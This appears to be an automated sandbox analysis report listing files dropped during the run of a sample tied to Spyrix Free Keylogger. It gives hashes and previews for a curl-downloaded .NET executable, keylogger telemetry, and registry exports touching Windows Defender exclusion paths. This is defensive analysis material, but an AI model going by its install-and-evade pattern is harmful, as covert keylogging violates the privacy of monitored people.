SHA1:	088BCBE98FA7F93161631860AF3B9F766D056B89
SHA-256:	80D69249FB175E55EAAA1296887FA6B4E83D550F87376D30E2CA240454605C2D
SHA-512:	60F1FBD2D4FE32C01238B2E478891077D2FB5F4BD4B87E4DD9518AFD7914E65BC4435E9298BED3D2C6634291F88D5AA08DC129FD5087D52D1CDC4A5B38889661
Malicious:	false
Reputation:	unknown
Preview:	&action=app:Show&data=&prg_id=Spyrix Free Keylogger&prg_ver=11.6.22&user_name=user&user=&comp_name=138727&comp_id=9e146be9-c76a-4720-bcdb-53011b87bd06_241002001037&comp_time=2024-10-02 00:11:56.146&prg_lng=english&os_caption= ()&os_type=windows&os_country_code=&time_shift=-5&os_install_date=-- ::&av=Windows Defender&dnet=4.8.04084&trial_id=-1&license=&prg_seconds=20&token=fc2cfe44dee680d048b4bb6063c24f6d

C:\ProgramData\Spyrix Free Keylogger\temp\stat\app_wizard_Start_EE7E4705DD4AC06ADFE650C2CDC39BDD

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	ASCII text, with very long lines (416), with no line terminators
Category:	dropped
Size (bytes):	416
Entropy (8bit):	5.146318089257006
Encrypted:	false
SSDEEP:	6:FB/f+rNECkrMIBaSA/EzUwXVX/C+CKGUbdYgfiE3T+tD0UDiA7TGCGJJpWWjAykT:L/f+JHkrMIBZPXVX/vBnbdAEkZ2jAZx
MD5:	3EB47E3BBF3C9D2105F3864712878DC0
SHA1:	98D3D077721AD2FC5C652AC8C45DAF274EB7ED9D
SHA-256:	12D77F243FEA03C38016DA05B374D671116027DB05C3FAAE6F104E92BA3570BD
SHA-512:	4AB3159491D3FD257FE426881989E7E9687E731DF128EE63A8A31D63ECE97A282E3DAFC1734DC05182265B8CEA2F980D567ED9FF09D44C7ED9F851106EF6569E
Malicious:	false
Reputation:	unknown
Preview:	&action=app:wizard:Start&data=&prg_id=Spyrix Free Keylogger&prg_ver=11.6.22&user_name=user&user=&comp_name=138727&comp_id=9e146be9-c76a-4720-bcdb-53011b87bd06_241002001037&comp_time=2024-10-02 00:11:48.989&prg_lng=english&os_caption= ()&os_type=windows&os_country_code=&time_shift=-5&os_install_date=-- ::&av=Windows Defender&dnet=4.8.04084&trial_id=-1&license=&prg_seconds=13&token=442ae523916f9de5faea573deb3514c7

C:\ProgramData\Spyrix Free Keylogger\temp\stat\dlog\2024-10.wdb

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3013000, file counter 10, database pages 4, cookie 0x2, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	1.2228702616370335
Encrypted:	false
SSDEEP:	24:TLmoez2/2EivyGI6jGxM+5CZQRl2XRDENC4aYwNkm/Olfl6OlvumCpbc:TaLa/2pa3cbXpENC4aYwNkm2lxlLCpI
MD5:	7A3D79E2D2650E9150C45C96FE3FB995
SHA1:	944A52093CBE754BE52B8275ACA2957DC7E36558
SHA-256:	5B3A1D3A346A846253279842055C980D48AEEB4291A46E6F1357B7FE8671BF5A
SHA-512:	C64EEC437BD1775A1F895E4FB3AA96705EBCDDE89AE4C0EFA8831C77DF85A0C89CA2D7082680FCF2E109B25B4D8321EA597173EBE2615A946036B50F13B155BD
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .........................................................................-.............;........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Spyrix Free Keylogger\temp\stat\dlog\2024-10.wdb-journal

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	16928
Entropy (8bit):	1.1128100762235036
Encrypted:	false
SSDEEP:	48:7MhCp27uNcbXpENC4aYwNkm2lxlMq25La/2paC:7W77uEXpMkIDMLh3B
MD5:	407C88F74FC10ABDC83EC3955D38E39B
SHA1:	42B974FD4934AA00356BCEADF2EBD529E47C56F3
SHA-256:	5648EFCEA941542554A486540CEA9FEEEC5F3536D2E629471D2AED992CAC04F9
SHA-512:	E9C7968D2B04D7905C1BB45C3D9800FD9F31587E94042AEC3E5EA48DB52A4A5FAED70CA022C4FE4BE2E6E7BD54339AEA7AFDCE4DE7816BF5FD5CFAAD69AFFBDD
Malicious:	false
Reputation:	unknown
Preview:	.... .c........:..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................=..........u.Y.=..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\{972DC8CA-126D-23FD-11AA-92876DD12AFD}\5913A2D6482586A397876746C6020FBE

Download File

Process:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	36
Entropy (8bit):	4.593400348604437
Encrypted:	false
SSDEEP:	3:PouVKQzhquIw27n:h4Qzhqfn
MD5:	179EC8DFA22BD8C472285A4F01C3879C
SHA1:	C7F2C43F00D5D69B7C534EF9F7BB4D5EEACDDFA6
SHA-256:	5CA8C7050FF095DB093320A34382CB8859E9BE94795F1A7605B1BE1232D67668
SHA-512:	E0DE299D4E8173857050BFFF6FDDF93CF88471490F072C904124F685124B80AD5AB84B119F55B75281EE3E4E9BA688593842F7BF1A78FE650F41A7FEC2A6888B
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>..<html lang="en-US">

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\[space]= .exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1119
Entropy (8bit):	5.345080863654519
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0Hj
MD5:	88593431AEF401417595E7A00FE86E5F
SHA1:	1714B8F6F6DCAAB3F3853EDABA7687F16DD331F4
SHA-256:	ED5E60336FB00579E0867B9615CBD0C560BB667FE3CEE0674F690766579F1032
SHA-512:	1D442441F96E69D8A6D5FB7E8CF01F13AF88CA2C2D0960120151B15505DD1CADC607EF9983373BA8E422C65FADAB04A615968F335A875B5C075BB9A6D0F346C9
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Reputation:	unknown
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe

Download File

Process:	C:\Windows\System32\curl.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	90112
Entropy (8bit):	7.725524916177281
Encrypted:	false
SSDEEP:	1536:Fmb6bAx1Aw+M+JqPSMr49ucL+91yhgwCqnkLrcIN6mE:Fm+b/zqPSMr49uiSUf
MD5:	D15DAEF371B50FB739401BFDE29DF35A
SHA1:	D916C598AFF72AAF461A5427CD7C6440C199FF24
SHA-256:	EE8A52DEDDF45BAC9CAA60205F83488EE644FFD1EA01998774D68C7F46568B71
SHA-512:	4145F4A52D7098B5543EFEFDBF2810B403BA82036F2EF254F458D0084DA839636F9D4DC5EC3016065FDFCCF6468DA301C4DA523ECE1244FD23EFB1FD288D5529
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...W->..........."...0..P.........."n... ........@.. ....................................`..................................m..O....................................m............................................... ............... ..H............text...(N... ...P.................. ..`.rsrc................R..............@..@.reloc...............^..............@..B.................n......H...........)...........T..............................................v.(.....(..........(...........s....}.....{...........s....o.....{....o.....~....}.....0..E.......s%......}......}....~....(......~.......&...s.....o......{....(......{.....o.....{......(....r...p(....o.....l#......X@6..(....z.,..{....,..{....o......(........0..}........s ...}.....s!...}.....s"...}.....s"...}.....s"...}.....{....o#....($.....(%.....(&.....('....{....(!...o(....{......s)...o....{...

C:\Users\user\AppData\Local\Temp\REG7F99.tmp

Download File

Process:	C:\Windows\System32\reg.exe
File Type:	Windows Registry little-endian text (Win2K or above)
Category:	dropped
Size (bytes):	236
Entropy (8bit):	3.6440699182134826
Encrypted:	false
SSDEEP:	6:Qyk+SkWCiiCRroZ6IJlUAG+DZKHWn+SkUkDkqOEcRKw:Qy5hVZteAxDZaW+oVd3
MD5:	0A7F333C72BA23F66948D2F7ACAF391E
SHA1:	4E232F923162508127336631C7A734982795FC6F
SHA-256:	C0E694FE96F168B2E1C2C6710E2DA625849F72A5260AC6F8AFD7B399B82C7026
SHA-512:	E770D89B07783F9EDBD8F13D0D369CB3CF59BD666BDEA34276EB29FB8334A413A3F8159C9FD235CF9710937EE29838AA0665EC4CDC3B03204AE353B2EF1F2A91
Malicious:	false
Reputation:	unknown
Preview:	..W.i.n.d.o.w.s. .R.e.g.i.s.t.r.y. .E.d.i.t.o.r. .V.e.r.s.i.o.n. .5...0.0.........[.H.K.E.Y._.L.O.C.A.L._.M.A.C.H.I.N.E.\.S.O.F.T.W.A.R.E.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.E.x.c.l.u.s.i.o.n.s.\.P.a.t.h.s.].........

C:\Users\user\AppData\Local\Temp\REGCB67.tmp

Download File

Process:	C:\Windows\System32\reg.exe
File Type:	Windows Registry little-endian text (Win2K or above)
Category:	dropped
Size (bytes):	236
Entropy (8bit):	3.6440699182134826
Encrypted:	false
SSDEEP:	6:Qyk+SkWCiiCRroZ6IJlUAG+DZKHWn+SkUkDkqOEcRKw:Qy5hVZteAxDZaW+oVd3
MD5:	0A7F333C72BA23F66948D2F7ACAF391E
SHA1:	4E232F923162508127336631C7A734982795FC6F
SHA-256:	C0E694FE96F168B2E1C2C6710E2DA625849F72A5260AC6F8AFD7B399B82C7026
SHA-512:	E770D89B07783F9EDBD8F13D0D369CB3CF59BD666BDEA34276EB29FB8334A413A3F8159C9FD235CF9710937EE29838AA0665EC4CDC3B03204AE353B2EF1F2A91
Malicious:	false
Reputation:	unknown
Preview:	..W.i.n.d.o.w.s. .R.e.g.i.s.t.r.y. .E.d.i.t.o.r. .V.e.r.s.i.o.n. .5...0.0.........[.H.K.E.Y._.L.O.C.A.L._.M.A.C.H.I.N.E.\.S.O.F.T.W.A.R.E.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.E.x.c.l.u.s.i.o.n.s.\.P.a.t.h.s.].........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_05ubxjdy.kxy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0x34pnkz.zgz.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0xtf2sp3.mwx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0z2f0ucl.cl3.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_21yamr1d.idj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_25b3wzjk.hhd.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2ofq5iwo.ejb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3drj5blw.cey.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_422j5yu0.wqv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_42s2nobh.duz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4xqutnav.0t2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_52b1a2ao.bth.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5xdsznc4.iyx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a1ogi30j.txr.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_adg5l4y5.0at.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bcqbbkqb.kqb.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cdunmr4b.n0g.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ebovtinq.epj.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_egin1fc4.ywe.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ffxidwzf.xpo.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
